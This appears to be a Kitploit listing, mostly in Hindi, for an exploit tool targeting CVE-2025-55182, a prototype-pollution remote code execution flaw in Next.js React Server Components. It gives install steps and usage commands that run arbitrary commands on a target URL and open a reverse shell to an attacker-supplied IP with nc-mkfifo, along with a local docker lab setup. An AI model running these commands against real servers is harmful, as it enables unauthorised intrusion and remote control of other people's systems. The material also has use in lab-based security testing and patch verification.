CVE-2025-55182 — CVE-2025-55182 के लिए एक्सप्लॉइट जो Next.js React Server Components में prototype pollution के माध्यम से remote code execution सक्षम करता है, जिसमें command execution और reverse shell क्षमताएँ शामिल हैं। | Kitploit

साझा करें

Next.js React सर्वर कंपोनेंट्स RCE एक्सप्लॉइट

प्रोटोटाइप प्रदूषण के माध्यम से दूरस्थ कोड निष्पादन के लिए CVE-2025-55182 का शोषण करता है।

स्थापना

uv sync

उपयोग

कमांड निष्पादन

source .venv/bin/activate
python3 exploit.py -u https://example.com -c "id"

रिवर्स शेल

python3 exploit.py -u https://example.com -r -l YOUR_IP -p 4444 -P nc-mkfifo

विकल्प

-u, --url: जाँच के लिए URL/होस्ट (आवश्यक)

# Execute command
python3 exploit.py -u https://example.com -c "whoami"

# Reverse shell with nc-mkfifo (recommended for Alpine)
python3 exploit.py -u https://example.com -r -l 172.29.0.1 -p 4444 -P nc-mkfifo

# Test on vulnerable instance
python3 exploit.py -u http://localhost:3011 -c "id"

# Test reverse shell (get gateway IP first)
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
python3 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo

CVE-2025-55182

सबसे लोकप्रिय

उदाहरण

लैब वातावरण

सेटअप

परीक्षण